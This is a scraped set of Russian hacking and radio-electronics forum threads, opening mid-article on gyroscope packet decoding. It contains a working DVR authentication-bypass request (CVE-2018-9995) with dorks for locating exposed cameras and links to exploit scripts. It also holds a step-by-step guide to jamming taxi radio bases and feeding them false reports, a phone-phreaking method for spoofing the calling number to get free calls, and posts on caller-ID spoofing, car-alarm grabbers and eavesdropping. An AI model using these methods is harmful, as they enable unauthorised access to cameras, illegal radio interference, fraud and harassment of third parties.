Raw gyro: 01fb7cff0f00bb007eff2700ae0083ff30009800
Raw gyro: 01fc79ff1800b00076ff0f00bc0068ff0900d900
Raw gyro: 01fd78ff07000c01f6fffbff19011c000b00f600
Raw gyro: 01fe4b001100d30054000700c3004300efffeb00
Raw gyro: 01ff1f00d0ff1701fbffe8ff1b01e3ffffff1101
Raw gyro: 0201214b014bec4ad04aba4acb4abe4aba4abd4a
Raw gyro: 0103efffecfffc00e3fff3fff300defff3fffc00
Raw gyro: 0104e3fff0fff400e6ffefff0301dbffe9ff0c01
Raw gyro: 0105e3fff0ff0301e6ffe6fffc00dcffecfffc00
Raw gyro: 0106dffff0fff700dbffeefff600d6fff0fff400
Raw gyro: 0107dfffecffff00e1fff0ff0301defff3fffc00

В случае с гироскопом ситуация оказалась чуть сложнее. Но я думаю, что упаковка должна выполняться схожим образом, как и для данных о частоте сердцебиения. Однако здесь у нас 3 измерения знакового типа для каждой оси гироскопа, а сам пакет размером 20 байт. Таким образом, данные от всех сенсоров укладываются не в 12, а в 3 измерения по осям x, y, z. Первые 2 байта играют ту же роль, что и в предыдущем случае. В итоге моя гипотеза оказалась верной.

Код
Код, как обычно, можно найти на Githubс примером использования. Ничего сложного нет, и я решил подробно не рассматривать этот момент в статье.

Эксплуатация DVR камер
ID: 676535aeb4103b69df3736a4
Thread ID: 29215
Created: 2019-05-10T14:28:16+0000
Last Post: 2019-06-02T19:34:03+0000
Author: XDG12
Replies: 2 Views: 4K

Эксплуатация DVR камер

Серия устройств TBK DVR4104 и DVR4216, а также сторонних производителей на базе этих версий уязвимы к обходу проверки подлинности и
с помощью простого заголовка Cookie: uid = admin можно извлекать учетные данные. Главная проблема заключается не в уязвимости, в подобном оборудовании, они довольно примитивны, а в большом количестве камер подключенных к сети. TBK предлагает множество версий оборудования с цифровым лейблом и ребрендингом оборудования IoT DVR. Многие бренды и интернет-продавцы рекламируют устройства под разными именами, и для некоторых пользователей их может быть сложно обновить.

Проэксплуатировать уязвимость можно отправив запрос:
curl "[URL]http://target/device.rsp?opt=user&cmd=list[/URL]" -H "Cookie: uid=admin"

3310
В ответе вы получите заветные логи и пароль.

Найти камеры можно по доркам:
inurl: login.rsp
intitle: ‘DVR Login’
html: ‘/login.rsp’
‘Server: GNU rsp/1.1’

3311
3312

Для просмотра видео необходим IE с установленным плагином DVR.

3313

Сплойты на bash, python

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F7059a848ccad425199887ce7ccbae2a9f156d429b19f41cb261afe8beb314193%2FCyb0r9%2FDVR- Exploiter&hash=8e61b018fe7c875bd10fbf7d23ee07d8&return_error=1)

[ GitHub - Cyb0r9/DVR-Exploiter: DVR-Exploiter a Bash Script Program

Exploit The DVR's Based on CVE-2018-9995 ](https://github.com/TunisianEagles/DVR-Exploiter.git)

DVR-Exploiter a Bash Script Program Exploit The DVR's Based on CVE-2018-9995 - Cyb0r9/DVR-Exploiter

github.com github.com

github.com

[ GitHub - ezelf/CVE-2018-9995_dvr_credentials: (CVE-2018-9995) Get DVR

Credentials ](https://github.com/ezelf/CVE-2018-9995_dvr_credentials)

(CVE-2018-9995) Get DVR Credentials. Contribute to ezelf/CVE-2018-9995_dvr_credentials development by creating an account on GitHub.

github.com github.com

Статья представлена исключительно в ознакомительных целях, ни одна ссылка не является рекламой.

Подменяем свое местоположение в GPS
ID: 676535aeb4103b69df3736ac
Thread ID: 27522
Created: 2019-01-28T21:05:23+0000
Last Post: 2019-03-05T20:11:09+0000
Author: lukas
Replies: 5 Views: 4K

Если вам нужно, чтобы телефон и программы на нём думали, будто вы находитесь в другом, отличном вашего реального расположения месте, то эта статья расскажет вам, как спуфить GPS. Вы можете «телепортироваться» в любое место на планете Земля, установив фальшивое значение GPS, и любое приложение будет думать, что вы находитесь именно там.
Среди программ, которые используют текущее значение GPS и которые можно обмануть по этой инструкции, могут быть:

Между прочем, для этого нам не нужны права рута!

Мы проверили работоспособность данного метода на Android 4.2.1. В целом метод очень простой и после настройки позволяет задавать своё фейковое местоположение в телефоне буквально двумя кликами.

Включение опций разработчика
Нам нужно разрешить прошивке использовать фальшивое расположение – этой опции нет в обычном меню настроек, чтобы добраться до этой опции нужно активировать режим «Разработчика». Для этого в настройках перейдите в пункт «О телефоне» (обычно это самый нижний пункт в Настройках) и семь раз нажмите на пункт «Номер сборки»:

После первых двух нажатий появиться маленькое всплывающее окошечко с надписью: «Вы в … шагах от того, чтобы стать разработчиком».

Пункт «О телефоне», в зависимости от модели телефона, может называться «Об устройстве», также может быть дополнительный промежуточный пункт «Информация о программном обеспечении» — именно в нём нужно искать «Номер сборки».
Теперь в главном меню настроек у вас появится пункт «{ } Для разработчиков»:

Зайдите в него и поставьте галочку на пункте «Фиктивные местоположения»:

В настройках телефона отключите GPS датчик:

Программа для подмены сигнала GPS
Установите программу Fake GPS location (есть в Play Маркет).
Откройте её и выберите любое местоположение на карте:

Вы можете использовать поиск для ввода желаемого местоположения, либо передвигать карту, чтобы найти то, что вам нужно:

Когда установите отметку, нажмите на зелёную кнопку внизу правой части экрана.

Программа сразу начнёт работать, и сама свернётся. К ней можно получить доступ в списке недавно запущенных приложений, кликнув на её иконку или из шторки:

Чтобы остановить подделку своего местоположения, нажмите на кнопку Pause в шторке, либо зайдите в программу и нажмите кнопку внизу левой части экрана:

Во время работы программы, все приложения на телефоне будут думать, что вы именно там, куда вы указали на карте. В соответствующих программах и сервисах, вы можете поискать людей или достопримечательности в любом районе.

Удаление пункта «Для разработчиков» из меню
Удаление опций Для разработчиков возможно, но только для определённых телефонов. Для большинства моделей единственным вариантом наверняка удалить этот пункт из меню является сброс телефона до заводских настроек.

Определённые модели (например, HTC One (M8) со стоковым Android) позволяют удалить этот пункт из опций без полного сброса, владельцам, например, Galaxy S5 и LG G3 придётся либо жить с этим пунктом или делать полный сброс (wipe) телефона.

Перейдите в Настройки->Приложения->Настройки и нажмите на «Стереть данные». Этот метод может работать на разных телефонах и планшетах.

Чтобы определить место, где сделана фотография, вы можете воспользоваться этим бесплатным сервисом .

автор: Dark Space

помогите!ФАНИТТТ!!!
ID: 676535aeb4103b69df3736c0
Thread ID: 17771
Created: 2009-06-15T10:40:07+0000
Last Post: 2010-05-13T22:37:45+0000
Author: dinazaver
Replies: 7 Views: 4K

раздобыл недавно усилитель ламповый 1971года выпуска рабочий,выдаёт так что если подключить к колонкам в спальне то даже на кухне будет отлично слышно.Но у меня проблема усилок сильно дрибижжит и как ето исправить я незнаю.подскажите.

FritzBox WLAN 7170
ID: 676535aeb4103b69df3736c1
Thread ID: 16538
Created: 2008-12-24T20:24:04+0000
Last Post: 2010-05-13T22:37:12+0000
Author: dima0969
Replies: 2 Views: 4K

охота переделать данный adsl модем
как это возможно сделать?
в основном требуется находящейся в нём wi-fi
так чтобы он мог соединиться с точкой доступа в сеть
и потом раздавал его посредствам lan или того же wi-fi
конечно wi-fi было бы лучше?
есть какие соображения?

Грабер сигнализаций
ID: 676535aeb4103b69df3736c4
Thread ID: 18109
Created: 2009-08-07T14:37:11+0000
Last Post: 2010-02-07T20:42:46+0000
Author: WebSanta
Replies: 3 Views: 4K

Добрый день
Интересует инфа про грабер сигнализаций для авто. Если есть варианты то: Инструкции, схемы, звуки - возможно готовые примеры (описание), с чем столкнулись при сборе.
Спасибо

подключение муз центра к компу
ID: 676535aeb4103b69df3736c7
Thread ID: 16809
Created: 2009-02-04T01:39:41+0000
Last Post: 2009-02-04T19:51:52+0000
Author: bull
Replies: 3 Views: 4K

саба собственно в чем надо подключить муз центр модели Technics SЕ-HD 560
к компу короче когда я его подключаю он не хочет проигровать музыку с компа а комп его определяет как наушники в чем может быть проблема???

Микроконтролеры
ID: 676535aeb4103b69df3736c9
Thread ID: 15958
Created: 2008-10-16T00:20:14+0000
Last Post: 2008-10-17T07:53:54+0000
Author: TeenagerHacker
Replies: 5 Views: 4K

Умный дом своими руками. Программируем Микроконтролеры.
Добавлено в [time]1224116414[/time]
Микроконтроллер — микросхема, предназначенная для управления электронными устройствами. Типичный микроконтроллер сочетает в себе функции процессора и периферийных устройств, может содержать ОЗУ и ПЗУ. По сути, это однокристальный компьютер, способный выполнять простые задачи. Использование одной микросхемы, вместо целого набора, как в случае обычных процессоров, применяемых в персональных компьютерах, значительно снижает размеры, энергопотребление и стоимость устройств, построенных на базе микроконтроллеров.
Микроконтроллеры являются основой для построения встраиваемых систем, их можно встретить во многих современных приборах, таких, как телефоны, стиральные машины и т. п. Бо́льшая часть выпускаемых в мире процессоров — микроконтроллеры.

Микрофоны направленного действия
ID: 676535aeb4103b69df3736ca
Thread ID: 15547
Created: 2008-08-28T12:12:48+0000
Last Post: 2008-09-01T12:47:10+0000
Author: Winux
Replies: 3 Views: 4K

Интересует сабж.
На что нужно обратить внимание при покупке. Что они реально дают? Можно ли скажем слушать соседей через балкон или еще что. Пробивает ли стены и если да то какой толщины.

http://www.podrobnee.ru/se/super-uho-plus-100.php
пример.

Примочки
ID: 676535aeb4103b69df3736d1
Thread ID: 623
Created: 2005-04-17T15:35:18+0000
Last Post: 2006-11-11T10:00:04+0000
Author: Butterfly
Replies: 3 Views: 4K

Народ никто не видел примочек к гитарам (Схемы)
Если кто видел можете поделиться ссылками... :crazy:

Подмена номера мобильного на номер звонящего
ID: 676535aeb4103b69df3736d4
Thread ID: 12925
Created: 2006-10-26T12:00:53+0000
Last Post: 2006-10-27T07:07:54+0000
Author: swapper
Replies: 8 Views: 4K

Есть возможность подмены номера мобильного на номер того, кому звонишь. www.talkety.com (а то на всех форумах дружественніх уже запостил, запостю и сюда :))

Миниатюрный радиопередатчик с питанием от батареи
ID: 676535aeb4103b69df3736d6
Thread ID: 10639
Created: 2006-08-18T11:10:53+0000
Last Post: 2006-10-24T09:17:56+0000
Author: мозголом
Replies: 10 Views: 4K

Устройство содержит минимум необходимых деталей и питается от батарейки для электронных часов напряжением 1,5 В. При столь малом напряжении питания и потр**ляемом токе 2-3 мА сигнал этого радиомикрофона может приниматься на удалении до 150 м. Продолжительность работы около 24 ч.
Задающий генератор собран на транзисторе VT1 типа КТ368, режим работы которого по постоянному току задается резистором R1. Частота колебаний задается контуром в базовой цепи транзистора VT1. Этот контур включает в себя катушку L1, конденсатор С3 и емкость цепи база-эмиттер транзистора VT1, в коллекторную цепь которого в качестве нагрузки включен контур, состоящий из катушки L2 и конденсаторов С6, С7. Конденсатор С5 включен в цепь обратной связи и позволяет регулировать уровень возбуждения генератора.
В автогенераторах подобного типа частотная модуляция производится путем изменения потенциалов выводов генерирующего элемента. В нашем случае управляющее напряжение прикладывается к базе транзистора VT1, изменяя тем самым напряжение смещения на переходе база-эмиттер и, как следствие, изменяя емкость перехода база-эмиттер. Изменение этой емкости приводит к изменению резонансной частоты колебательного контура, что и приводит к появлению частотной модуляции. При использовании УКВ приемника импортного производства требуемая величина максимальной девиации несущей частоты составляет 75 кГц (для отечественного стандарта - 50 кГц) и получается при изменении напряжения звуковой частоты на базе транзистора в диапазоне 10-100 мВ. Именно по этому в данной конструкции не используется модулирующий усилитель звуковой частоты. При использовании электретного микрофона с усилителем, например, МКЭ-3, МКЭ-333, МКЭ-389, М1-Б2 "Сосна", уровня сигнала, снимаемого непосредственно с выхода микрофона, оказалось достаточно для получения требуемой девиации частоты радиомикрофона. Конденсатор С1 осуществляет фильтрацию колебаний высокой частоты. Конденсатором С7 можно в небольших пределах изменять значение несущей частоты. Сигнал в антенну поступает через конденсатор С8, емкость которого специально выбрана малой для уменьшения влияния возмущающих факторов на частоту колебаний генератора. Антенна сделана из провода или металлического прутка длинной 60-100 см. Длину антенны можно уменьшить, если между ней и конденсатором С8 включить удлинительную катушку L3 (на рис. не показана). Катушки радиомикрофона бескаркасные, диаметром 2,5 мм, намотаны виток к витку. Катушка L1 имеет 8 витков, катушка L2 - 6 витков, катушка L3 - 15 витков провода ПЭВ 0,3. При настройке устройства добиваются получения максимального сигнала высокой частоты, изменяя индуктивности катушек L1 и L2. Подбором конденсатора С7 можно немного изменять величину несущей частоты, в некоторых случаях его можно исключить совсем.

Уменьшаем размер шлейфов
ID: 676535aeb4103b69df3736d9
Thread ID: 11015
Created: 2006-08-29T03:17:30+0000
Last Post: 2006-10-15T20:54:41+0000
Author: мозголом
Replies: 9 Views: 4K

После нехиртой переделки получаем ВОТ такой красивый шлейф

Что нам понадобится:

Во-первых острый перочиный нож, во-вторых парочка зажимов для последующей скрепки кабеля(можно также использовать скотч или изоленту), а в-третьих есстесственно сам шлейф :)

Очень простая и самое главное нужная переделка.

Полную версию смотрим тут http://www.alser.kz/articles/02082002.asp

Нужна помащь
ID: 676535aeb4103b69df3736dd
Thread ID: 10794
Created: 2006-08-23T10:55:27+0000
Last Post: 2006-08-30T22:12:35+0000
Author: Bendar
Replies: 10 Views: 4K

народ кароче был у нас один пацан в доме жил так он чёта там химичил с радио эликтроникой вобщим он зделал такую штуку каторая убивает телы особенно импортные может кто знает как ето зделать кароче я её видил но неспрашивал что за она и ваще я тока патом разобрался что она делает кароче он мне её недовал ну мне было лет 14 и я таким неинтерисовался так вобщим когда он врубал эту платку с онной пальчикавой батарейкай в радиусе метров так 30-40 все телы начинали шипеть растраиваться и вканце канцов вырубаться и там вроде платка згарала в теле кароче в нашем доме от этой платки пострадало телов 20 точно так как я тока и видил в окно вывазили сломаные телы в ремонтные мастерские и диагнас был у всех телов один и тотже горела палатка каторая отвечала за прием и обработку нащёт кампов незнаю у меня его тогда небыло (так вот может кто знает как замутить такую штуку????) :help:

Программный ремонт сотовых телефонов
ID: 676535aeb4103b69df3736de
Thread ID: 10910
Created: 2006-08-25T21:06:20+0000
Last Post: 2006-08-29T19:12:48+0000
Author: Spawn™
Prefix: Мануал/Книга
Replies: 6 Views: 4K

Программный ремонт сотовых телефонов...

Предлагаемая книга является уникальной в своем роде - аналогов ей пока нет не только в России, но и в странах СНГ и Балтии. В пособии собраны материалы по программированию более 200 моделей сотовых телефонов торговых марок [New$paN] Siemens, Motorola, Nokia и LG. Кроме описания методики программирования телефонов с помощью наиболее распространенных программных средств, в книге приводятся схемы интерфейсных кабелей (Data-кабелей), различных видов программаторов-боксов, а также назначение выводов системных разъемов телефонов. Для некоторых моделей приводятся описания тестовых режимов, рассматриваются характерные дефекты аппаратов и их устранение.
В книге приводятся все необходимые начальные сведения по архитектуре рассматриваемых моделей телефонов, распределению их памяти и другим аппаратным особенностям. Благодаря этому, она может использоваться в качестве учебного пособия при подготовке специалистов по ремонту сотовых телефонов.

:zns5: Скачать|РапидШара

а также :)

Взлом автомата "элекснет"
ID: 676535aeb4103b69df3736e7
Thread ID: 7592
Created: 2006-03-29T18:30:15+0000
Last Post: 2006-06-28T20:33:42+0000
Author: CTRL-ALT-DEL
Replies: 3 Views: 4K

Собственно сабж-это система экспресс-оплаты мобилы, инета, вебмани Кто знает любые баги, способы как обмануть аппарат, войти в сервисное меню, отпишитесь...

З.Ы.

Подключения автомагнитолы.
ID: 676535aeb4103b69df3736f0
Thread ID: 7451
Created: 2006-03-18T08:27:33+0000
Last Post: 2006-03-30T07:56:28+0000
Author: Gamers
Replies: 7 Views: 4K

Кто знает как подключить автомагнитолу при помощи такого прибора?

Как этим прибором найти нужные провода:олонок провод питания и земли?Помогите плизз.

Взлом электрички
ID: 676535aeb4103b69df3736f1
Thread ID: 7306
Created: 2006-03-07T16:37:05+0000
Last Post: 2006-03-27T11:36:25+0000
Author: SiNem
Replies: 3 Views: 4K

Незнаю как у вас,но на Горьковской железной дороге в вагонах электричек виит электронное табло на котором отображается различные текст и время.
Вопрос: Как ведётся управление надписями и можно ли заставить табло вертеть нужную тебе надпись.
З.Ы
Не надо писать купи рекламу и всё будет=)

Спаренный телефон...
ID: 676535aeb4103b69df3736f4
Thread ID: 6907
Created: 2006-02-06T18:09:34+0000
Last Post: 2006-02-14T13:18:15+0000
Author: uZverg
Replies: 8 Views: 4K

Проблема в том что у моего родственника спаренный телефон... И его соседи постоянно сидят в инете что до него невозможно дозвониться... Как мне из заглушить?

распайка на Миниджэк
ID: 676535aeb4103b69df3736f8
Thread ID: 6707
Created: 2006-01-25T11:07:05+0000
Last Post: 2006-01-25T16:00:52+0000
Author: Spawn™
Replies: 4 Views: 4K

Люди, вот такой вопрос - какая распайка на Миниджэк - разъем на наушник ?

или как правельно соединить с розочкой ?

Журналы для радиолюбителей
ID: 676535aeb4103b69df3736fb
Thread ID: 4317
Created: 2005-07-21T09:06:00+0000
Last Post: 2005-12-29T22:50:10+0000
Author: Winux
Prefix: Мануал/Книга
Replies: 3 Views: 4K

Здесь я буду выкладывать книги и журналы для радиолюбителей.

Журнал "Радио"
Есть все выпуски аж с 1970 года
Смотрим и качаем тут
:zns5: Скачать журнал "Радио" №6 за 2005 год

Кабели и Провода
ID: 676535aeb4103b69df373705
Thread ID: 4166
Created: 2005-06-29T00:08:32+0000
Last Post: 2005-11-10T20:16:40+0000
Author: Badk1tten
Replies: 4 Views: 4K

Есть такая проблема: очень низкая скорость устойчивого коннекта при самой совершенной АТС в городе (до дома вообще, говорят, оптоволокно идёт!).
Пока методом "научного тыка" и анализа модемной статистики установлено, что наиболее вероятной причиной столь низкой скорости является плохой кабель от "входа в дом" до телефонной розетки RJ11(кажется так) либо наведённые токи от проводов 220в (для ламп в подъезде/коридоре и звонков) - они близко и их дофига.

Какие есть предложения или решения, кроме:
1. Проложить самому коаксиал.
2. Обернуть чистую "двойную медную жилу" фольгой по всей длине.

С небольшим обоснованием (Я - РадиоФак 4 курс)

Миниатюрный радиотелефон.
ID: 676535aeb4103b69df37370b
Thread ID: 3601
Created: 2005-04-23T12:58:17+0000
Last Post: 2005-06-28T19:55:54+0000
Author: s3po
Replies: 3 Views: 4K

Повышенный интерес к изготовлению радиотелефонов сдерживается сложностью схемных и технических решении, обусловленных принципом работы. Например радиотелефон "РТФ-92", опубликованный в [1], сложен как в изготовлении, так и в наладке, требует изготовления большого количества катушек и трансформаторов

При разработке предлагаемого радиотелефона ставилась задача создать радиотелефон, доступный для изготовления начинающим радиолюбителям. Метод тонального радиоуправления не позволяет это сделать, поэтому в основу работы данного радиотелефона положен метод прерывания несущей. Это позволило максимально упростить схему и обеспечить следующие достоинства:

- работу в дуплексном режиме (можно одновременно говорить и слушать);

- высокое качество сигнала (широкополосная ЧМ модуляция);

- питание стационарного аппарата полностью от телефонной линии;

- высокую экономичность радиотелефонной трубки (за :чет простоты схемы);

- простоту элементной базы и возможность наращива-ня мощности передатчиков.

Рассмотрим работу радиотелефона.

Радиотелефонная трубка (рис.1) находится в режиме дерного приема, передатчик ее выключен. В стационарном телефонном аппарате (рис.2) работает также один тлько приемник. Телефон с определителем номера находится в режиме автоподнятия трубки. При поступлении вызова от абонента автоматически включается передатчик стационарного аппарата и передает вызов на радиотелефонную трубку. После приема вызова включается передатчик радиотелефонной трубки и система готовa к работе в дуплексном режиме.

При вызове со стороны радиотелефонной трубки включается питание передатчика тумблером S1"Деж.реж.". Сигнал несущей принимается приемником стационарного аппарата, при этом в нем загорается светодиод точной настройки. В дежурном режиме транзистор VT1 закрыт. Напряжением со светодиода транзистор открывается, при этом на резисторе R5 возникает падение напряжения, которое питает передатчик стационарной части. При наборе номера на радиотелефонной трубке происходит прерывание питания (и соответственно несущей) на число раз, соответствующее цифре. Соответственно столько же раз потухает светодиод, напряжение с которого коммутирует транзистор VT1. Таким образом происходит набор номера в линию. При передаче информации низкочастотный сигнал с выхода УНЧ приемника поступает на базу VT1 для модуляции. При отсутствии телефона с определителем номера, который включает режим автоподнятия трубки, можно установить электронное реле, осуществляющее автоподнятие.

Выбор приемников и передатчиков для радиотелефона. Выбор приемника зависит от возможностей и квалификации радиолюбителя. Основной критерий для приемника позволяют, элементы управления и транзистор VT1 можно разместить в самом приемнике. Можно также установить в корпусе приемника гнездо, и на него вывести управляющие напряжения, а саму схему управления собрать в отдельном корпусе. В этом варианте приемник можно в любой момент отсоединить и использовать по прямому назначению.

Если будет использоваться импортный приемник (в них обычно применяется одна специализированная микросхема), а также при отсутствии принципиальной схемы приемника точку, откуда снимается напряжение точной настройки, можно найти экспериментально тестером по увеличению постоянного напряжения при приеме сигнала несущей частоты передатчика радиотелефонной трубки.

Для упрощения конструкции передатчик стационарного аппарата (рис.4) питается от телефонной линии. Мощность его ограничена мощностью телефонной сети и зависит от падения напряжения на резисторе R5. Величина R5 подбирается таким образом, чтобы при поднятой телефонной трубке на нем падало 15...18 В (транзисторы должны слегка греться). Дальность действия

приемника радиотелефонной трубки — ток покоя, так как от него зависит время непрерывной работы. Экономичный приемник с низковольтным питанием можно собрать на микросхеме К174ХА34 по схеме, приведенной на рис.3. При ее отсутствии можно использовать готовый миниатюрный приемник с выходом на телефон. Размеры платы таковы, что позволяют свободно установить ее в трубке радиотелефона. Такой же приемник, но на диапазон 65...74 МГц, можно использовать и для стационарного аппарата. Приемник потр**ляет небольшой ток, поэтому его можно питать от телефонной линии. Но так как размеры приемника для стационарного аппарата некритичны, для этой цели можно использовать переносной приемник со встроенным блоком питания типа "Океан".

Порядок доработки приемника стационарного аппарата. Для управления транзистором VT1 с приемника используются два сигнала: напряжение точной настройки — для набора номера в линию, и напряжение низкой частоты — для модуляции. Если размеры радиотелефона в большой степени определяется мощностью передатчика радиотелефонной трубки, а та, в свою очередь, зависит от напряжения питания. Если не требуется большая дальность, для передатчика можно использовать питание приемника. Выбор источника напряжения и его величины определяется размерами радиотелефонной трубки

Принципиальная схема передатчика радиотелефонной трубки приведена на рис.5. Задающий генератор передатчика выполнен на транзисторе VT2 типа КПЗОЗ. Частота генерации определяется элементами L1, СЗ, С5, VD2. Частотная модуляция осуществляется путем подачи модулирующего напряжения звуковой частоты на варикап VD2 типа КВ109. Рабочая точка задается напряжением, поступающим через резистор R2 со стабилизатора напряжения. Стабилизатор включает в себя генератор стабильного тока на полевом транзисторе VT1, стабилитрон VD1 и конденсатор С2. Усилитель мощности выполнен на транзисторе VT3. Режим работы усилителя задается резистором R4.

Дроссели L2 и L3 могут быть любыми с индуктивностью 10...150 мГн. Катушки L1 и L4 наматываются на полистирольных каркасах диаметром 5 мм с подстроенными сердечниками 100 ВЧ или 50 ВЧ. Количество витков — 3,5с отводом от середины, шаг намотки — 1 мм, провод — ПЭВ 0,5. Настройка заключается в установке необходимой частоты генератора конденсатором С5, получении максимальной мощности путем подбора сопротивления резистора R4 и подстройке частоты контура конденсатором С 10.

В передатчике стационарного аппарата резистор R5 включается в разрыв одного из проводов телефонной сети. При снятии трубки телефонного аппарата или включении режима автоподнятия в цепи появляется ток, который в зависимости от типа аппарата и состояния линии находится в пределах 10...35 мА. Этот ток, протекая через резистор R5, вызывает на нем падение напряжения порядка 15... 18 В, которое питает передатчик. Автогенератор передатчика собран по обычной двухтактной схеме, на транзисторах VT1 и VT2. Частотная модуляция происходит за счет изменения напряжения в линии и, как следствие, изменения напряжения на базах транзисторов. Частота задается параметрами контура L1, С5. Катушка L1 наматывается на полистирольном каркасе диаметром 5 мм и содержит 4 витка провода ПЭВ 0,5 мм с отводом от середины. Катушка L2 наматывается поверх L1 и имеет 2 витка того же провода. Настройка производится при занятой телефонной линии путем подстройки контура L1, С5.

Радиотелефон обеспечивает дальность связи в пределах 300 метров, но при установке дополнительных усилителей мощности в радиотелефонную трубку и стационарную часть можно легко увеличить радиус действия до 10...15 км. При установке радиотелефона в автомобиль запитку радиотелефонной трубки лучше производить от бортового аккумулятора.

Кину на мыло схемы кому нада стучите в асю.

Постановка радиопомех
ID: 676535aeb4103b69df37370c
Thread ID: 4132
Created: 2005-06-24T07:15:59+0000
Last Post: 2005-06-25T00:36:38+0000
Author: Fedya
Replies: 3 Views: 4K

В связи с массовым обнаглением таксистов и их нашествием на диапазоны частот предназначенные исключительно для любительского использования необходимо с ними бороться, потому, как данное явление сильно мешает работе и позорит страну перед другими радиолюбителями мира.

Методы борьбы с таксобазами можно применять разные в зависимости от технической оснащенности и конкретных особенностей обстановки. Эти методы могут быть следующие:

1. Постановка радиопомех.

2. Дезорганизация работы.

Постановка радиопомех
Она может включать в себя несколько разных методик для разных случаев в отдельно взятой обстановке:
1. Если вы находитесь в одном городе с мешающим объектом.
В данном случае в зависимости от Вашего технического оснащения и эффективности работы Ваших антенн то месту, можно рекомендовать следующее:
- при достаточном запасе мощности (50-300 Вт) постановка несущей на неограниченное время +/- 5-7 КГц от мешающей станции. Лучший результат дает частотная модуляция с фоном 50 Гц и девиаций частоты 30 КГц. Наиболее хорошие результаты были достигнуты при передаче сигнала модулированного по чатоте "белым" шумом с отфильтрованной низкочастотной составляющей. Данная помеха внешне похожа на увеличение эфирного шума и длительное время остается неопознанной как помеха и поэтому наиболее эффективна. Как правило, такая помеха не похожа не на один из видов помех и при правильной постановке очень сильно завышает показания S-метров SB станций. Поэтому локализация источника помени крайне сложна, т.к. S-метры теряют свою калибровку и их показания случайны. Такая помеха не имеет точной частотной границы, занимая несколько каналов не поддается точной локализации по частоте. Ввиду ее широкополосности в ней не наблюдается наличия несущей, что делает ее еще более неузнаваемой длительное время.
- при избыточной мощности (300-1000 Вт и более) годится все выше перечисленное, но еще добавляются некоторые возможности - длительная работа в полосе пропускания входных цепей и цкпкй усилителей 1 ПЧ СВ станций (+/- 75 КГц), также работа в пораженных каналах базовых станций, на этих частотах допустимо все вышесказанное. Трансляця белого щума в пораженном канале внешне имеет такие же проявления как и отказ базовой станции.
Пораженными каналами являются частоты на которых прием сигнала происходит с небольшим ослаблением относительно основного канала. Для их поиска необходимо обзавестись (на время) таким типом станции который приемяется на таксобазе. Находятся по обычной методии при помощи поддерживающего нужный диапазон ГСС.
- при наличии оборужования малой мощности (1-15 Вт) возможно трансляция музыки либо ретрансляция местных радио- и телепередач в основном канале мешающей станции. Данное мероприятие необходимо производить на невидимые с земли антенны, желательно из случайных мест, территорий закрытых объектов и других зон недоступных для проезда автотранспорта. Это мероприятие призвано оглушать базу и не давать ей возможности принимать своих корреспондентов. Наилучшие результаты дает использование портативной станции в пределах здания в котором находится база, либо в окрестных кварталах.

ПРЕДУПРЕЖДЕНИЕ

Некоторые из данных мероприятий, особенно последнее за исключением использования портативной станции внутри здания, являются довольно легко локализуемыми, поэтому должны соблюдаться известные меры предосторожности. Самое главное: нельзя ничего говорить, а особенно ругаться в основном канале мешающей станции.

2. Если вы находитесь в другом городе и вражеская станция мешает Вам по проходу.
В данном случае эффективна трансляция в основном канале мешающей станции музыки, угроз, оскорблений и разных видов напоминаний, а также работа на передачу любым видом излучения, как можно дольше и с применением автоматических устройств.

Дезорганизация работы
Дезорганизация работы может осуществляться несколькими методами:
- Введение ложной информации базе, оно может осуществляться как по радио- так и по телефонному каналу.
По телефонному каналу может осуществляться введение на базу ложных заказов, информации о непредвиденных ситуациях и опасностях, однако используя телефонный канал следует соблюдать меры предосторожности, т.к. на большинстве таксобаз стоят АОНы, таким образом следует звонить с чужого номера ("доброго" дяди (тети)) или на худой конец таксофона.
По радио наиболее увлекательным мероприятием является регистрация несуществующих мобильных абонентов, очень хорошо действует на больших вражеских базах с плохим учетом. В данном случае хорошую помощь оказывает наблюдение за работой врагов и аналих проходящей у них информации. Хорошо получается при наличии СВ станций, лючше портативок, разводить можно с любого места (желательно подальше от представителей подвижного состава, иначе результаты могут оказаться плачевными) главное чтобы слышала база, желательно не очень хорошо. Такое мероприятие увеличивает нервозность в работе диспечеров, приводит к потере клиентов, иногда удается по проходу.
- При наличии двух и более конкурирующих вражеских баз возможно разжигание войны между ними. В данном случае наиболее предпочтительно использование портативных станций и передача информации с их помощью из мест находящихся вблизи мест скопления конкурентов. Желательно тщательная работа с модуляцией и наблюдение за ведением радиообмена врагов, для подражания их манере общения.
При использовании звукозаписывающей аппаратуры возможна ретрансляция угроз, ругательств на частоте конкурента возникающих при различных методах воздействия, а при наличии копьютера возможен монтаж сообщений диспечера и представителей подвижного состава, что вносит еще большую дезорганизацию в работу вражеской базы.
При воздействии на вражескую базу по проходу наиболее полезно длительное обсуждение личных качеств диспечеров и наиболее громко слышимых представителей подвижного состава. Хорошие результаты при достаточной мощности передатчика и эффективных антеннах, нервы диспечера выдерживают не более 10-15 минут.

Скоро может еще допишу, посколько тексту уже 2 года, есть новые наработки, но нет времени их описывать

Эмуляция телефонного номера
ID: 676535aeb4103b69df37370e
Thread ID: 3585
Created: 2005-04-22T15:17:24+0000
Last Post: 2005-06-23T18:15:40+0000
Author: s3po
Replies: 1 Views: 4K

Как нахаляву потрепаться по межгороду ? Для начала надо сэмулировать выход на междугородную линию (проще говоря создать wav-файл в специализированной для этого проге). Делается это прогой SoundForge, которая очень часто появляется на пиратских дисках или в сети. С помощью нее можно сделать много гадостей, таких как разоеденение того, у кого занято, прослушивание чужого разговора и пр. о чем я расскажу в следующий раз. А пока про то, как наваять сигнал выхода на городскую линию от чужого ника :) В настройках SoundForge ставим следующее: в меню DTMF,MF (tools->syntethesis) ставим сигнал MF, длинна которого 0,04, pause и прерывание его каждые 0,001. Строка набора (dial string) должна содердать 1*******, где вместо звезд надо указать тот номер, с которого ты будешь якобы звонить задом наперед. То есть был 2763102, а стал 12013672 (это телевон того ублюдка, которого зовут Глеб). Если цифра повторяется дважды, то ту из них которая идет сначало, надо заменять на B (там шестнадцатеричная система). То есть был 9110203, а стал 13020B19. Теперь звук полностью сгенерирован. Осталось самое сложное: запихнуть это дело в линию. Тут есть два варианта. Нучну с первого, который использую я. Я свинчиваю микрофон с труюки у телефона, подключаю к нему провода, идущие от мамки на спикер (их два), поднимаю трубку и включаю этот звук. Прослушать звук на спикере можно просто прослушав его в Norton Commander'е (и других шеллах для ДОСа, которые поддерживают прослушивание низкочастотных wav-файлов). Второй способ для тех, кто очень здорово разбирается в модемах. Надо достать провод, который с обоих концов одинаковый и подходит в разъемы для микрофона, колонок и т. д. Такой можно 